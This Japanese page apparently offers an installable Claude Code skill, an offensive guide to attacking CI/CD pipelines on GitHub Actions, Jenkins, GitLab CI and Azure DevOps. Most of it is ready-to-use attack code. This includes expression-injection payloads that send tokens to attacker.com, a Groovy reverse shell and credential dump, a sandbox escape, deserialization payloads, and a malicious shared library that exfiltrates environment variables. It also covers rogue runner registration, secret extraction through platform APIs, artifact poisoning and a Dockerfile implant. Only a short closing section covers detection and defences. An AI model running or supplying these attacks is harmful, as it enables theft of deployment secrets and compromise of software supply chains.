offensive-cicd-pipeline について
GitHub Actions、Jenkins、GitLab CI、Azure DevOpsを対象とする、CI/CDパイプラインの攻撃的セキュリティ評価ガイドです。設定調査やインジェクションから、認証情報の利用、横展開、防御側の監視まで扱います。
主な機能
- 01パイプライン設定とトリガーの調査
- 02式やスクリプトのインジェクション経路の特定
- 034種類のCI/CDプラットフォームを網羅
- 04パイプラインの信頼を利用した横展開
- 05防御側の監視指標の提示
活用シーン
- 01パイプライン設定のインジェクションリスク確認
- 02トークンやシークレットの露出範囲の評価
- 03ビルド成果物の汚染リスクの検証
- 04CI/CD攻撃の検知策の検討
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-cicd-pipelineインストール後、Claude Code で/offensive-cicd-pipelineを入力して読み込まれたか確認します。
詳細
CI/CD パイプラインの攻撃的な悪用
CI/CD パイプラインは、現代のインフラストラクチャにおいて最も価値の高い標的の 1 つです。パイプラインが侵害されると、信頼されたコンテキストでコードを実行し、デプロイ用認証情報にアクセスし、本番環境のアーティファクトに悪意のあるコードを注入できるようになります。組織がビルドシステムに寄せる暗黙の信頼を悪用します。パイプラインは高い権限でコードを実行し、デプロイ用のシークレットを保持している一方で、本番システムに比べて最小限の監視しか受けていません。
このスキルでは、主要な 4 つの CI/CD プラットフォームに対する悪用方法を扱います。パイプラインの設定を列挙し、インジェクションポイントを特定し、コントリビューター権限から任意のコード実行へと権限を昇格させ、パイプラインへの信頼を利用して環境内を横方向に移動します。
MITRE ATT&CK:T1195.002(サプライチェーンの侵害:ソフトウェアサプライチェーンの侵害)
クイックワークフロー
- アクセス可能なリポジトリと、そのパイプライン設定(.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml)を列挙します。
- トリガーモデルを特定します。どのイベントでパイプラインが実行され、どのコンテキストに攻撃者が制御する入力が含まれるかを確認します。
- 各パイプラインコンテキストのトークンスコープと利用可能なシークレットを整理します。
- 自分のアクセスレベル(コントリビューター、外部 PR、認証済みユーザー)に合ったインジェクションベクターを選択します。
- 対象プラットフォームの式言語またはスクリプトエンジン向けのペイロードを作成します。
- 実行して出力(シークレット、トークン、またはアーティファクトの改変)を取得します。
- 取得した認証情報を使ってピボットし、他のパイプライン、レジストリ、インフラストラクチャへアクセスを拡大します。
GitHub Actions の式インジェクション
GitHub Actions は ${{ }} コンテキスト内の式を評価します。攻撃者が制御するデータがサニタイズされずにこれらの式へ流れ込むと、ランナーのコンテキストで任意のコマンドをインジェクションできます。
最も一般的なインジェクション箇所は、PR のタイトル、Issue の本文、ブランチ名、コミットメッセージが run: ステップやアクションの入力に流れ込む部分です。
イベントデータを直接展開している箇所を検索し、脆弱なワークフローを特定します。
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
脆弱なワークフローは、次のようになります。
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
PR のタイトルからインジェクションします。
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
workflow_run の悪用では、workflow_run をトリガーとするワークフローはデフォルトブランチのコンテキストで実行されますが、トリガー元のワークフローのアーティファクトにアクセスできます。PR ワークフローから汚染したアーティファクトをアップロードし、workflow_run ワークフローに高い権限で処理させます。
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
実行可能な範囲を把握するため、GITHUB_TOKEN の権限を列挙します。
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
コンポジットアクションを標的とするサプライチェーン攻撃では、SHA を固定せずに参照されている再利用可能なアクションを狙います。
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
gato を使用して、GitHub Actions の設定ミスを列挙し、悪用します。
# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org
# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg
Jenkins の悪用
Jenkins は、スクリプトコンソール、ビルド設定、共有ライブラリ、Java リモーティングプロトコルを通じて広範な攻撃対象領域を持ちます。ネットワーク上で公開されている Jenkins を発見した場合や、何らかの認証済みアクセスを得た場合に、Jenkins を標的にします。
Groovy スクリプトコンソールによる RCE
スクリプトコンソールにアクセスできる場合(Overall/RunScripts 権限が必要)、Jenkins コントローラーで制限のないコード実行が可能です。
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text
// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
creds.each { c ->
println("ID: ${c.id}")
println("Username: ${c.username}")
println("Password: ${c.password.plainText}")
println("---")
}
Groovy サンドボックスの回避
パイプラインスクリプトは Groovy サンドボックス内で実行されますが、メタプログラミングとリフレクションを使って回避できます。
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils
// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
static void main(String[] args) {}
static Object run() {
def proc = "id".execute()
return proc.text
}
}
Evil.run()
''')
println bypass
Jenkins Remoting のデシリアライゼーション
Jenkins のリモーティングポート(通常は 50000)が公開されている場合、Java のデシリアライゼーション脆弱性を悪用します。
# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP
# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
共有ライブラリのインジェクション
@Library 経由で読み込まれる Jenkins の共有ライブラリは、サプライチェーンの攻撃ベクターです。ライブラリのリポジトリを侵害すると、それを使用するすべてのパイプラインで自分のコードが実行されます。
// Malicious shared library vars/deploy.groovy
def call(Map config) {
// Original functionality preserved to avoid detection
sh "kubectl apply -f ${config.manifest}"
// Injected exfiltration
sh '''
env | base64 | curl -X POST -d @- https://attacker.com/collect
'''
}
体系的な悪用には jenkins-attack-framework を使用します。
# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate
# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
--exec "whoami" --node "linux-build-01"
GitLab CI の悪用
GitLab CI パイプラインは .gitlab-ci.yml に基づいて実行され、悪用の機会となる強力な機能をサポートしています。攻撃者は、変数のインジェクション、ランナーの悪用、マージリクエストと保護ブランチ間の信頼境界の侵害を狙います。
マージリクエスト経由の YAML インジェクション
プロジェクトでフォークからのマージリクエストパイプラインが許可されている場合、攻撃者の .gitlab-ci.yml はターゲットのランナー上で実行されます。
# Attacker's .gitlab-ci.yml in a fork
stages:
- exploit
dump_secrets:
stage: exploit
script:
- env | sort
- cat /etc/hosts
- curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
- |
# Attempt to read secrets from runner filesystem
find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
cat ~/.docker/config.json 2>/dev/null || true
ランナー登録トークンの悪用
ランナー登録トークンを入手した場合、不正なランナーを登録してジョブを傍受します。
# Register a malicious runner with broad tag matching
gitlab-runner register \
--non-interactive \
--url "https://gitlab.target.com/" \
--registration-token "GR1348941_STOLEN_TOKEN" \
--executor "shell" \
--description "build-node-07" \
--tag-list "docker,linux,build,deploy" \
--run-untagged="true"
# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads
CI 変数の抽出
侵害したトークンを使って API 経由で CI/CD 変数を列挙し、抽出します。
# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
保護ブランチのバイパス
マージリクエストパイプラインとブランチパイプラインの間の隙を悪用し、保護されたコンテキストでコードを実行します。
# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables
# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
script:
- echo "$DEPLOY_KEY" | base64
- echo "$AWS_SECRET_ACCESS_KEY" | base64
only:
- merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch
Azure DevOps パイプラインの悪用
Azure DevOps パイプラインは YAML またはクラシックエディターの定義を使用します。パイプラインエージェントの侵害、サービス接続の悪用、変数グループの抽出を狙います。
パイプラインエージェントの悪用
セルフホスト型エージェントはビルド間で状態を保持します。この永続性を悪用します。
# azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none
pool:
name: 'Self-Hosted-Pool'
steps:
- script: |
# Enumerate the agent environment
whoami
hostname
env | sort
# Search for cached credentials on the agent
find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
cat /home/*/.kube/config 2>/dev/null
cat /home/*/.aws/credentials 2>/dev/null
# Check for Docker credentials
cat /home/*/.docker/config.json 2>/dev/null
# Look for other pipeline artifacts left behind
ls -la /agent/_work/
find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
displayName: 'Agent Recon'
サービス接続の窃取
Azure DevOps のサービス接続には、外部システムの認証情報が保存されています。パイプラインの実行を通じて認証情報を抽出します。
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Production-Azure-Connection'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# The task injects credentials as environment variables
echo "Tenant: $tenantId"
echo "Client: $servicePrincipalId"
# Extract the service principal token
az account get-access-token --output json
# Use the managed identity to enumerate Azure resources
az resource list --output table
az keyvault list --output table
az keyvault secret list --vault-name TARGET_VAULT --output table
変数グループの抽出
# Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"
# List variable groups
curl -sS -u ":$PAT" \
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
| jq '.value[] | {name, variables}'
# List service connections
curl -sS -u ":$PAT" \
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
| jq '.value[] | {name, type, authorization}'
アーティファクトの汚染
アーティファクトの汚染では、ビルドステージからデプロイステージへの引き渡しを狙います。ビルド出力を改変し、デプロイパッケージに悪意のあるコードを注入します。
# GitHub Actions: Intercept artifact upload
# In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
# GitLab CI: Poison the artifact cache
# Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
script:
- echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
cache:
key: shared-build-cache
paths:
- node_modules/
policy: push
EOF
# Jenkins: Modify stashed files between stages
# If you control a build node, modify files after stash
# The unstash on a different node receives your modified files
レジストリパイプラインにおけるコンテナーイメージの汚染:
# Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
# Legitimate build steps
COPY . /app
RUN npm install && npm run build
# Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]
検出/防御側の視点
防御側は、CI/CD プラットフォーム全体で以下の兆候を監視する必要があります。
- ワークフローの変更:外部のコントリビューターやフォークからのプルリクエストで、
.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.ymlが変更された場合にアラートを出します。 - 不審なランナー登録:特に広範なタグ照合を伴うものや、予期しない IP 範囲からの新しいランナー登録を監視します。
- シークレットへのアクセスパターン:CI ジョブが過去に使用したことのないシークレットにアクセスしていないか、PR 起点のパイプラインでシークレットにアクセスしていないかを確認します。
- 式インジェクションの兆候:パイプラインのトリガーイベントに関連して、PR のタイトルやイシューの本文にシェルのメタ文字(
$()、バッククォート、セミコロン、パイプ演算子)が含まれていないか確認します。 - アーティファクトの整合性:パイプラインのステージ間でビルドアーティファクトのハッシュを検証します。予期しない変更は汚染を示します。
- トークンスコープの異常:GITHUB_TOKEN または CI_JOB_TOKEN が、パイプラインの想定範囲外で API 呼び出しを行っていないか確認します(例:他のリポジトリへのアクセス、ブランチ保護の変更)。
- Jenkins 監査ログ:スクリプトコンソールへのアクセス、API 経由での認証情報の列挙、未承認の接続元からの新しいノード登録を監視します。
- ビルド時間の異常:侵害されたビルドでは、データの持ち出し処理や追加のネットワーク呼び出しにより、所要時間が長くなることがよくあります。
- ランナーからの外向きネットワーク通信:ビルドエージェントが予期しない外部ホストに接続していないか、特に DNS や HTTPS を使ってレジストリ以外のドメインにデータを持ち出していないか確認します。
主な防御策:
- すべての GitHub Actions をタグではなく完全なコミット SHA に固定します。
pull_request_targetの使用を制限し、そのコンテキストで PR のコードをチェックアウトしないでください。- ジョブごとに破棄される一時的なランナーを使用します。
- 長期有効な認証情報を保存する代わりに、クラウド認証には OIDC を導入します。
- ワークフローファイルの変更にレビューを必須とするブランチ保護ルールを有効にします。
- 信頼レベルごとにランナープールを分離します。パブリックリポジトリとプライベートリポジトリでランナーを共有しないでください。
攻撃手法早見表
| プラットフォーム | 攻撃ベクトル | 必要なアクセス権 | 影響 |
|---|---|---|---|
| GitHub Actions | 式インジェクション | フォーク/PR(なし) | ランナーでの RCE |
| GitHub Actions | workflow_run アーティファクト汚染 | フォーク/PR(なし) | デフォルトブランチでの RCE |
| GitHub Actions | コンポジットアクションのサプライチェーン | アクションリポジトリへの書き込み | すべての利用者での RCE |
| Jenkins | スクリプトコンソール | RunScripts 権限 | コントローラーでの RCE |
| Jenkins | Groovy サンドボックスの回避 | ビルド設定の変更 | コントローラーでの RCE |
| Jenkins | Remoting のデシリアライズ | ネットワークアクセス(50000) | コントローラーでの RCE |
| Jenkins | 共有ライブラリのインジェクション | ライブラリリポジトリへの書き込み | すべての利用者での RCE |
| GitLab CI | MR パイプライン YAML インジェクション | フォーク(なし) | ランナーでの RCE |
| GitLab CI | ランナートークンの登録 | トークン漏えい | ジョブの傍受 |
| GitLab CI | 変数の抽出 | API トークン | シークレットの窃取 |
| Azure DevOps | エージェントの永続化 | パイプラインの編集 | エージェントでの RCE |
| Azure DevOps | サービス接続の窃取 | パイプラインの編集 | クラウドへのアクセス |
| All Platforms | アーティファクト汚染 | ビルドステップの侵害 | サプライチェーン |
主な参考資料
- OWASP Top 10 CI/CD セキュリティリスク:https://owasp.org/www-project-top-10-ci-cd-security-risks/
- Cider Security(現在の Palo Alto)CI/CD Goat:https://github.com/cider-security-research/cicd-goat
- gato - GitHub Actions の列挙および攻撃ツール:https://github.com/praetorian-inc/gato
- jenkins-attack-framework:https://github.com/Accenture/jenkins-attack-framework
- GitHub Actions の悪用(Synacktiv):https://www.synacktiv.com/en/publications
- MITRE ATT&CK T1195.002:https://attack.mitre.org/techniques/T1195/002/
- GitHub Actions のセキュリティ強化:https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
- CI/CD パイプラインの攻撃と防御(NCC Group):https://research.nccgroup.com
- GitLab CI/CD のセキュリティ:https://docs.gitlab.com/ee/ci/security/
- Azure DevOps パイプラインのセキュリティ:https://learn.microsoft.com/en-us/azure/devops/pipelines/security/